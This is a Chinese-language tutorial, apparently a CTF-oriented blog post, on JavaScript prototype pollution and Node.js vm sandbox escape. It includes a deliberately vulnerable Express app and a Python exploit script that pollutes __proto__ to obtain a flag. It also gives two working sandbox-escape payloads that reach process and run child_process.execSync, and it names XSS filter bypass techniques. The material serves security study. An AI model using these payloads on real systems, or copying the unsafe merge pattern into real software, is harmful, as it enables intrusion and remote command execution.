目录
一、原型链污染
1.prototype和__proto__区别???
2.原型链污染是什么???
3.哪些情况原型链会被污染???
4.原型链污染例题
二、沙箱逃逸绕过
1.如何实现沙箱逃逸?
2.如何实现绕过?
原型污染是一个安全漏洞,非常特定于 JavaScript。
__proto__
检查其成员或调用来找出给定对象的原型是什么对象Object.getPrototypeOf
当我们尝试访问对象的属性时,JS 引擎首先检查对象本身是否包含该属性。如果是,则将其退回。否则,JS 会检查原型是否具有该属性。如果没有,JS 会检查原型的原型,以此类推,直到原型为null
. 它被称为原型链。
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
通过Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__
登场了。
总结一下:
(1)prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法
(2)一个对象的__proto__
属性,指向这个对象所在的类的prototype
属性。
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
注意:进行三次打印,前俩次没有污染,打印结果一致,第三次被污染打印结果为修改后的,即原型被改变。
思考在哪些情况下可以设置__proto__的值。
对象merge 结合 拼接
对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
通过分析题目,其中有一个敏感函数merge,merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了。
进行payload编写,进行污染。
import requests
import json
url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"
s = requests.session()
headers = {"Context-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print (res2.text)
沙箱内部找到一个沙箱外部的对象(即沙箱内部可以进行访问沙箱外部),借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。
第一种沙箱逃逸,通过this实现
const vm = require('vm');
const script = `
const process =this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: [], n: {},x:/regexp/ };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
第二种沙箱逃逸,不存在this
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
//最终实现结果,弹出提示框1337
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)
分析代码,可见过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,prompt,confirm,这样的一个正则。如何进行绕过呢???
第一种,Function构造函数
第二种,使用eval函数绕过,使用2-36进制
注:8680439代表啥?如何而来?
第三种,使用location中的hash来进行绕过
以上为复现原型链污染和沙箱逃逸绕过相关介绍。介绍不够全面,后期进一步完善。